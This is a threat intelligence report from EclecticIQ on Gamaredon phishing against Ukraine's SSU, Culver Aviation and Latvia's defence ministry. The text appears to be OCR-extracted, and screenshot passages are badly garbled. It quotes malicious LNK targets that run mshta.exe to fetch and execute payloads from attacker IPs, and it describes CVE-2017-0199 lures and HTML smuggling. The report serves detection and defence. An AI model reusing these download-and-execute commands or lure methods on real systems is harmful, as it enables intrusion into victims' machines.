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EclecticlQ researchers observed multiple weaponized phishing emails probably targeting the
Security Service of Ukraine (SSU), NATO allies like Latvia, and private companies such as
Culver Aviation.

EclecticlQ Threat Research Team — February 16, 2023

EclecticlQ [y

Executive Summary
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EclecticlQ researchers observed multiple weaponized phishing emails probably targeting the
Security Service of Ukraine (SSU), NATO allies like Latvia, and private companies such as
Culver Aviation - a Ukrainian aviation company. Multiple overlaps between these incidents
and previous attacks of the Gamaredon APT group (4), such as command and control
infrastructures and adversary techniques, helped analysts to highly likely attribute these
latest attacks to the Gamaredon group.

This report describes three distinct cases and adversary tactics, techniques, and procedures
(TTPs). Analysts examined three different malware delivery techniques used in this
campaign, including spear phishing with a TAR attachment that contains a malicious LNK
file, a specially crafted Word document that can exploit CVE-2017-0199 to gain code
execution without macros, and HTML smuggling.

EclecticlQ researchers continue to actively monitor for activity related to the Gamaredon APT
group. While monitoring this activity, analysts identified multiple key findings:

» Phishing emails were being used to deliver malware to the Security Service of Ukraine.

e In January 2023, EclecticlQ researchers observed English and Latvian-language
phishing lures probably targeting NATO allies.

* Analysts assess that Culver Aviation (a Ukrainian aviation company) probably has been
targeted by multiple phishing lures containing malicious Word documents that use the
CVE-2017-0199 vulnerability, which is exploited to execute the malware on victim
systems through specially crafted Word documents.

e According to open-source reporting, Culver Aviation Company provided multiple
unmanned aerial vehicles (UAVs) to support Ukrainian troops in the region. This
support highly likely has made the company a target in this latest cyberattack.

e Living off the Land Binaries (LOLBAS) such as MSHTA.exe were being actively abused
by a Russian state-sponsored threat actor to download and execute the second stage
of the malware.

Case #1: Phishing Emails to Target the Security Service of Ukraine
(SSU)
Malware Execution Flow

On January 23rd, 2023, EclecticlQ analysts identified a phishing email - addressed to the
Security Service of Ukraine - with an attached archive file (TAR). The TAR folder contained a
malicious shortcut (LNK) file.

Upon user click, the LNK file downloads and executes a second-stage malicious HTML
application (HTA) from a remote address using MSHTA.exe.
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The threat actor appears to be using multiple techniques to limit who can access this URL
outside of Ukraine. For example, the threat actor uses geo-blocking to limit downloads of this
malicious file from other locations and blocks ExpressVPN and NordVPN nodes within
Ukraine. It appears the threat actor is potentially conducting additional filtering to further
control access to payloads.

Phishing Email Archive File (TAR) Malicious LNK MSHTA.exe [ Second Stage Malware]
_
Downloads second stage malware upon
user click

Figure 1 — Malware execution flow.

The Attack Begins with a Phishing Email Campaign

Figure 2 shows a recent phishing email with a malicious attachment probably targeting the
Security Service of Ukraine (SSU). At the bottom of the email is the attached TAR file.

Ny TOBYB2HHA IHO3EMHIX NPEACTaBHALTE <info@dipuz.org> @ Reply || &b Reply All @ Forward || (8 Archive

o
Subject 3anMT Ha OTPMMAHHA NYGAINHOT iHGOpMALIT $ Request for public information.

Bianosimso 1o c1aTTi 34 KOHCTHTYII VKpaiHH KO;KHOMY rapaHTOBAaHO IIPaBO Ha OTPHMAHES,
30epiranes Ta noumpeHHs ingopMmarii. apanTis npasa Ha iHopMallio 3a0e3neTyeTbCa

According to Article 34 of the Ukrainian Constitution, everyone has the right to receive, store,
and distribute information. The guarantee of the right to information is ensured by the state and

000B’ A3KOM OpTaHIB Jep/KaBHOI BIaH Ta OPTaHiB MiCIIEBOTO CAMOBPSIYBAHHA, AK PO3TOPATHIKIB
incopmanii, onpruronHIoBaTH iHGQOpManilo, fKa Oy/a oTpiMaHa abo CTBOpPeHa B Iponeci iXHpoi
AiATEHOCTI 3rigHo 3i cTarTaMn 3, 4, 14 3akoHy Vkpaian «IIpo gocTyn 1o myomigHol iHdopmanii».

local government authorities as information managers, who are required to share the
information that was received or created in the course of their duties based on articles 3, 4, and
14 of the Law of Ukraine "On Access to Public Information." As per Article 5 of the Ukrainian Law

"On Access to Public Information," access to information is ensured by providing information in

3rizHo 3i cTarTero 5 3akoHy Ykpainmn «IIpo mocTyn xo my6aitrol iHdopmanii» moc o % 2
Y kD P o bop: P response to information requests.

incopmanii 3abe3nedyeThCA MUAXOM HaJaHHA iHGopManii 3a 3amiITaMi Ha iH(opMaltito, mpi
LBEOMY 3rLIHO 3i CTATTero 19 HBOro caMOro 3aKOHY 3alNTYBad Mac IPaBo 3BEPHYTICA IO
po3nopAIHNKa iHbopManil i3 3anuToM Ha iHGOpMAaNiio He3alIeKHO BLI TOTO, CTOCYETBCA LA
iHbopmanis foro ocoblCTo 9l Hi, O¢3 NOACHEHHA NPIHIHIL MONAHHA 3AIIITY.

—=>

Article 19 of the same law states that the requester has the right to send a query for
information to the information manager regardless of whether the information concerns him
personally or not, without explaining the reason for the request. In accordance with Article 20
of the Ukrainian Law "On Access to Public Information," we ask for a response to be provided
within five business days from the date the request was received.

Binosiano o c1atTi 20 3akoHy Ykpairn «IIpoe 1ocTym Ao myOmidsoi inpopmarii», mpocmvo
HAJaTI BUIIOBIIE POTATOM 5 POOOHIX IHIB 3 IHA OTPIMAHHSA 3AIITY.

Best regards,

3 nosazoio,

FEHEPANTIbHA AWPEKUIA 3 OBCNIYTOBYBAHHA IHO3EMHUX NPEACTABHULUTB

DIRECTORATE GENERAL FOR RENDERING SERVICES TO DIPLOMATIC MISSIONS

v [ 1attachment: 3anurtar 150 KB

Figure 2 — Example of Phishing email probably targeting SSU.

Victim User Clicks on the Malicious Shortcut (LNK) File

When a victim user extracts the TAR file (as seen in figure 3) it contains the malicious LNK
file with a Latvian phishing lure.

MNarne

Ul Bianceiano_go_cratri M) Zaxowy,_npoouao_sagate_sianosigs_ npotaros_ 5 pofousn_geis_1_ane_oTpasesrea_samay.ink 150157
¥, M MR e JAHA_OTR £ )

U

In sccordance with Article 20 of the Law, please provide a response within
working days from the date of recsipt of the request

6/17



Figure 3 — Content of malicious attachment translated to English from the Ukrainian
language.

LNKs are Windows shortcut files that can contain malicious code to abuse legitimate tools on
the system, the so-called living-off-the-land binaries (LOLBAS or LOLBIN). Figure 4 (below)
shows that the actor uses MSHTA (a process used by Windows in legitimate purposes to
execute HTML applications) to download and execute Microsoft HTML Application (HTA)
files from a remote URL defined inside the Target section of the LNK file.

v 3aANMT
FY Maine

Bianomigno_go_ctarri_20_3axoHy, NpocMmMo_HAAATH_Bignosigs_NpoTArom_3_poGoqm_aHis_3_gHA_CTPMMAHHE_SAnHTY
I s Bignoeigro_go_ctatn_20_3axcHy,_npocumo_HagaTi_Bignoe... }CC.

Geoneral Shoncul  Security Detalls  Pravious Versions

Bignosinso Ao ctatn 20 Jaxody, NPOCHMO_ Mafiam_Bi
"

Targal type Applcation

Target location: systam32

Target: Swindirit \aysiemIPmahta ee hitp:/194 180.174.2

Figure 4 — Malicious shortcut (LNK) file.

Execution of the Malicious HTA File

If a victim clicks on the malicious LNK file, it will start to download an HTA file from the
remote address (hxxp[://]194[.]180[.]174[.]203/23[.]01/mo/baseball[.]DjVu) and execute this
second stage malware via MSHTA.exe. Analysts were unable to retrieve the second stage
payload due the remote server being offline.

Case #2: Targeting Culver Aviation via a Phishing Lure to Exploit
CVE-2017-0199

On December 12th, 2022, EclecticlQ researchers identified multiple malicious Word
documents that used Culver Aviation phishing lures. Analysts assess that the chances are
about even that threat actor is targeting Culver Aviation Company or other Ukrainian entities
using this company’s name. Analysts suspect the threat actor’s interest in Culver Aviation
probably stems from that company providing unmanned aerial vehicles (UAV) to Ukrainian
troops (11).
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One of those Word documents can be seen in figure 5. This Ukrainian-language Word
document contains the name of Culver Aviation’s CEO, corporate email address, and title of
the company as a part of the lure.

IHOBHa LR R . | |:> Culver Technologies LLC
€JTIPIIOY 39548761
ITocana Ta IIIII yrIORHOBasKeHO1 | [fvpextop OnekcaHap faHnnenko. | |::> Director Oleksandr
0COOH JUTA I AMHCAHHS I0TOBOPY Danylenko
BaHKIBCbKI P eKBI3HTH IBAN UA473390500000026006001112605
B AT« KPUCTANBAHEK:, m. Kuie
M&PO: 33905
TIomiTora aapeca m. Kuie, yn. [Toneoeall
En eK'rp OHHA TIOIITa m.lukashev@culser.aero i
Tenedon oyxranTepii 0503859383 Onbra
Homep tenedoHy L goropopy | 0674659728
Sx BH da:Ra€Te OTPHMYBATH AKTH BHKOHAHHX podiT?
Hazuta KoMRANIA GUKOPUCINOGYE ERERMPO NI DOKYMENR MO0 biL.
OBGepiTh 3py4IHHH 47151 B ac BapiaHT i <1 ¥ 3T O Q2KEHHS 3 BAILIOIO BiAMOBi JaIbHOIO
oco0010 32 JoKyMeHTo00ir. IIpocTaRHTH MOTPiGHO THILE OAHY BiAMITIY.

Figure 5 — Malicious Word document that contains Culver Aviation phishing lure (6).

The Malicious Word document leverages the exploit CVE-2017-0199 to download and
execute remote templates as a second stage of the malware. This exploit can be triggered
by opening the Word document without any macro involvement.

Figure 6 shows the remote template URL (council7[.]Jartupora[.]Jru), which hosts a malicious
HTA file that is stored in the Word document. This URL has been attributed to Gamaredon by
previous reporting (8).

nedTemplate’

Figure 6 — Remote template URL inside the Word document.

Case #3: Latvian (Ministry of Defence) MoD and Probably Other
NATO Allies Targeted via an HTML Smuggling Campaign

On January 18th, 2023, EclecticlQ researchers identified a threat actor group using phishing
lures in English and Latvian, almost certainly to target the Latvian MoD and probably other
English-speaking NATO allies.
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In this new campaign, an HTML Smuggling technique was actively used for malware delivery
shown in figure 7. HTML smuggling lets an attacker “smuggle” an encoded malicious script
within a specially crafted HTML attachment or web page. When a target user opens the
HTML in their web browser, the browser decodes the malicious script, which, in turn,
assembles the malicious payload on the host device. Instead of having a malicious
executable pass directly through a network, the attacker builds the malware locally behind a
firewall.

@ Us ol seceagy e ¥ |

C O Fie r{m_of_nu.esunr_hummurm,assnlm.hlml = % O &

i)

HTML smuggling is used for stealthier approach
to deliver the Malware.

L5 Lst_of_necessary_humanitarian_sssistance ranlist_of_necessary_humanitarian_sssistance) - o £

Fille Edit View Favorites Tools Help
* =- v - - = i
Add Extract Test Copy Move Delete Info

J List_of_necessary_humanitarian_assistance. ran\List_of_necessary_humanitaran_assistance),

Mame

Delivered LNK malware.

< »
0 objectfs) s

B Lt of necessary he.rar il

Figure 7 - HTML Smuggling used to deliver the Malicious LNK file decoyed as PDF file.

The email in figure 8, impersonated the Ukrainian Ministry of Defence and targeted the
Latvian Ministry of Defence, the domain name (admou[.]Jorg) was used to send their phishing
email.

Shorwr al x
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From: "MIHICTEPCTBO OBOPOHM YKPATHU" <press@admou.org>
To: eriks.naglis@mod.gov.lv

Date: 18.01.2023 17:21

Subject: 48/07-94 18.01.2023

The Ministry of Defense of Ukraine expresses its sincere gratitude to you and your organization for frustful cooperation and support.
To successfully counter the aggression of the Russian Federation, we need additional help.
We look forward to further cooperation between our states.

3 nosazoro,
Ipuriimanera 3actynanka Mimicrpa oboporn Ykpaian
3 INTaHb €BpoiHTerpamii

E-mail: press@admow org, mex.arc (044) 226-20-15(See attached file: 48_07-94_18.01.2023.html)

v [ 2 attachments at least 30.9 KB

&| pic21357.gif @ 48.07-94_18.01.2023.html 30.9 KB

Figure 8 - Phishing email addressed to the Latvian MoD containing HTML file as a malicious
attachment. (2)

The infection flow is very similar to case 1 (Security Service of Ukraine). The threat actor
abuses MSHTA.exe to download an HTA file from the remote URL
(hxxp[://]194[.]180[.]174[.]158/18[.]01/released[.]rtf.) to retrieve the second stage payload.

@ 48.07-94_18.01.2023.htm X +

C @ File | C:sters}REjDesktop;’N6140009*48_0?—94_18.01.2023.hlm|

Bz C:\Users\RE\Downloads\48_07-94_18.01.2023.rar\48_07-04\ - O X
File Edit View Favorites Tools Help

N X

Add Extract Test Copy Move Delete Info

f | Ch\Users\RE\Downloads\48_07-94_18.01.2023.rar\48_07-94\

Name

. Ukrainas Aizsardzibas ministrija izsaka sirsnigu pateicibu jums un jusu organizacijai par augligo sadarbibu un atbalstu.pdf.ink

TThe Ministry of Defense of Ukraine
expresses its sincere gratitude to you and
your organization for your fruitful
cooperation and support.pdf

€

0 object(s) selected

B 48 07-04. 18012002 A

Figure 9 - HTML Smuggling used to deliver malicious LNK file (3).
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Figure 10 shows the content of the LNK file, it uses the same infrastructure (AS 39798 -
MivoCloud SRL) described in case 1 but with a different IP address to download second
stage malware.

General Shormcul Securty Details Previous Versions

Ukrainas Aizsardzibas ministrja izsaka sirsnigu pateicibu

e

Target typa: Application

[. Target location: systam32
Target: mshta.exahtip://184.180.174.158M1 8.0 /released.ritf

Ukrainas
Aizsardzibas

ministrija Startin;
izsaka

sirsnigu Shortcut key None
pateicibu
Jums un jusu Run: MNormal window
organizacijai
par augligo

sadarbibu un
atbalstu.pdf Open File Location Change Icon... Advanced...

Comment:

OK Cancal

Figure 10 — Malicious LNK file.

When the victim system is successfully infected by this malware, the threat actor can get
persistence on the system and then proceed with executing their action on objectives.
EclecticlQ researchers believe that military and related organizations in Ukraine and other
NATO allies were being targeted by a Russian state-sponsored APT group specifically for
collecting intelligence that very likely benefit Russian troops in Ukraine.

Overlaps Between These Cases and Previous Gamaredon Attacks

The adversary tactics and techniques such as malware delivery mechanisms, malware
execution techniques, and infrastructures share strong similarities with activity attributed to
Gamaredon, originally reported by Palo Alto Networks in December 2022 (4). Palo Alto
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Networks linked the activity cluster to Gamaredon - a threat actor that the Ukrainian
government attributed to Russia's Federal Security Service (FSB). Each of these three
overlapping techniques is explained below.

Victimology

According to the Ukrainian government, this threat group was performing cyber-attacks on
Ukrainian government entities since 2014 (9). Also in 2022, CERT-UA confirmed phishing
emails were being used to send malicious files to the Latvian government and likely targeting
other European governments (12).

Updated HTML Smuggling Technique

Gamaredon group commonly uses the HTML smuggling technique for delivering malware
(9). In this new campaign the threat actors improved the obfuscation routine in the HTML
smuggling code (figure 11) to avoid anti-malware scanners and email gateway solutions.

First Submission 2022-
09-26 13:13:15 UTC

:
:
‘

First Submission 2023-01-
20 08:30:11 UTC

Figure 11— Obfuscation update for HTML smuggling (2).

Second Stage Malware Execution and Delivery Technique:
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In Figure 12, a malware sample uploaded to VirusTotal (§) at 2022-12-01 05:45:19 UTC and
was attributed to Gamaredon APT by Unit 42 threat research group (4). The researchers
noted that the malware used the (admou[.]Jorg) domain in the attack. In latest cyberattacks
against Latvia, the same domain name was used by threat actor as an email sender (10).

e

Name

0d51b90457c85a0baab304e1ffef2c3ea5dab3b9d27099551eef60389a34a8%b

-

0d51b90457c85a0baab304e1ffef2c3ea5dab3b9d27099551eef... X

e

General Shortcut Security Details Previous Versions

0d51b90457c85albaab3D4e1ffef2c3eaSdab3b9d270995!
o

Target type: Apphcation

Target location: system32

:

Figure 12 - Malicious LNK file used to download and execute HTA file format by abusing
mshta.exe

Infrastructure of the Threat Actor:

When a user clicks on the LNK file mentioned in Figure 13, it will try to download a malicious
HTA file from https://admoul[.]Jorg/29.11_mou/presented[.]rtf.

URL syntax used in the malware delivery and C2 communications are identical to previous
attacks researched by Unit 42 at Palo Alto Networks (4).

If DNS server is down, get the C2 IP

from Telegram channel which is Telegram URL~~_
controlled by Threat Actor o~

hxxp://<IP address of C2>/snhale<randomih

number>/index.html=?<random number>

l Target: %windir%\system32\mshta.exepttps://admou.org/2¢ _

S~
——— e

Execution of the 10) Make a request to DNS server

® C2 communication has been
Malicious HTA File controlled by Threat Actros

DNS server will send latest C2 IP established

~———p

Figure 13 — Brief example of command-and-control sequence, same system used in this
latest attack
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Most of the threat actor’'s domains continue to be registered under the Russian Domain
Registrar reg[.Jru. To date, no action has been taken to block the malicious infrastructure. It is
very likely that the threat actor chooses this infrastructure on Russian soil to avoid being
defaced by law enforcement or disruption of their offensive operations by VPS service
provider.

The infrastructure outside of Russia is probably used to avoid geo-blocking during cyber-
attacks against western countries and it has relied primarily on VPS providers located within
one of 3 autonomous systems (AS), AS14061 (DigitalOcean, LLC), AS 207713 (Global
Internet Solutions LLC) and AS 39798 (MivoCloud SRL).

Conclusion

Since 2014, Russian government-backed threat actors have been conducting hybrid
aggression against Ukraine and NATO allies to perform sabotage or cyber espionage attacks
(9). For that purpose, the capabilities of the existing cyber units have been strengthened and
threat actors like Gamaredon are actively involved in organizing and conducting
cyberattacks.

EclecticlQ researchers identified three different cases, which analysts assess are probably
attributed to Gamaredon group. In these cases, social engineering was being used to send
phishing emails that contains specially crafted messages with malicious attachments. Even if
this remains the main vector of cyberattacks, analysts observed an increase in evasion
techniques used in these three new cases, which could indicate that means the threat actor
spends more time avoiding detection and staying under the radar.

The latest military supports from western NATO allies to the Ukrainian army, like the
confirmation of the sending Patriot missile system and calls from Latvia on Germany to send
Leopard tanks to Ukraine (1), highly likely have increased the will to carry out the
cyberattacks done by Russian state-sponsored APT group Gamaredon. Although there is no
clear proof that western support prompted cyberattacks, a spokesperson for Latvia’s Ministry
of Defense confirmed that the latest attack was “most likely” linked to Gamaredon, although
the investigation is still ongoing (7).

The majority of Gamaredon’s domains continue to be registered under the DNS of the
Russian company called reg[.]Jru and to date no action has been taken to block this malicious
infrastructure. Chances about even that Gamaredon group choose this infrastructure on
Russian soil to avoid being defaced by law enforcement or disruption of their offensive
operations by VPS service provider.

Infrastructure outside of Russia is probably used to avoid geo-blocking during cyber-attacks
against western countries and it has relied primarily on VPS providers located within one of 3
autonomous systems (AS), AS14061 (DigitalOcean, LLC), AS 207713 (Global Internet
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Solutions LLC) and AS 39798 (MivoCloud SRL).

EclecticlQ researchers believe that, probably because of the increasing geo-political tension,
these kinds of persistent cyberattacks against Ukraine and its allies will continue by evolving
to become much more evasive than previous attacks.

Protections and Mitigations

Phishing emails that contain HTML Smuggling files in the attachment are on the rise. To
prevent these emails, organizations need to use email gateway security solutions capable of
preventing receiving these kinds of Phishing emails.

e Threat Actors are using Living Off the Land Binaries to camouflage their malicious
activity and increase the evasiveness against anti malware. Analysts suggest
implementing SIEM (Security information and event management) solutions on the
network to detect these kinds of executions and using application whitelisting like
Microsoft’'s AppLocker to avoid the executions of LOLBINs like MSHTA.exe.

» Phishing awareness training must be given to coworkers to improve resilience against
social engineering.

» Always deploy the highest level of protection on your firewall and endpoints. In
particular:

- Ensure the firewall has TLS 1.3 inspection, next-gen IPS, and streaming DPI with
machine learning and sandboxing for protection from the latest threats.

- Ensure endpoints have modern next-gen protection capabilities to guard against
downloading malicious files from untrusted sources.

MITRE ATT&CK
Tactic: Technique ATT&CK
Code

Execution: User Execution Malicious File T1204
Execution: Exploitation for Client Execution T1203
Defense Evasion: Deobfuscate/Decode Files or Information T1140
Defense Evasion: Masquerading Double File Extension T1036.007
Defense Evasion: System Binary Proxy Execution Mshta T1218.005
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Defense Evasion: HTML Smuggling T1027.006

Command and Control: Web Protocols T1071.001
Initial Access: Spearphishing Attachment T1566.001
Persistence: Boot or Logon Autostart Execution: Registry Run Keys / T1547.001

Startup Folder

Persistence: Scheduled Task T1053.005

Hunting Resources: Live Queries & Yara Rules

About EclecticlQ Intelligence & Research Team

EclecticlQ is a global provider of threat intelligence, hunting, and response technology and
services. Headquartered in Amsterdam, the EclecticlQ Intelligence & Research Team is
made up of experts from Europe and the U.S. with decades of experience in cyber security
and intelligence in industry and government.

We would love to hear from you. Please send us your feedback by emailing us
at research@eclecticiq.com.

You might also be interested in:

QakBot Malware Used Unpatched Vulnerability to Bypass Windows OS Security Feature

Security Service of Ukraine and NATO Allies Potentially Targeted by Russian State-
Sponsored Threat Actor

Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX
Malware
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https://github.com/eclecticiq/eiq-community-exchange/blob/main/live_queries/Windows_Q1000-1999/Q1803.sql
https://github.com/eclecticiq/eiq-community-exchange/blob/main/yara/Windows_1000-1999/Y1803.yara
https://www.eclecticiq.com/eclecticiq-intelligence-research-team
mailto:research@eclecticiq.com
https://blog.eclecticiq.com/qakbot-malware-used-unpatched-vulnerability-to-bypass-windows-os-security-feature
https://blog.eclecticiq.com/security-service-of-ukraine-and-nato-allies-potential-targeting-by-russian-state-sponsored-threat-actor
https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware
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